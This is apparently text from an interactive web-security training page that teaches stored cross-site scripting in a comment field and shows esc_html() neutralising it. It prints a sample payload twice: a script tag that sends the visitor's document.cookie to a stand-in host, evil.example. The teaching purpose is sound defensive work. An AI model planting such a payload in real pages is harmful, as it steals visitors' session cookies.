▌▌ WEBSEC://CONSOLE

Track 03

🧬 Cross-Site Scripting

A comment field is the classic stored-XSS surface: unescaped output means every visitor who loads the page runs whatever script was saved. Flip the breaker to see esc_html() neutralize it.

Comment output handling
UNESCAPEDESC_HTML()
MODE
// Comment saved: <script>document.location='https://evil.example/steal?c='+document.cookie</script>
echo $comment_text;

-- rendered in every visitor's browser --
<script>document.location='https://evil.example/steal?c='+document.cookie</script>

Output-escaping checklist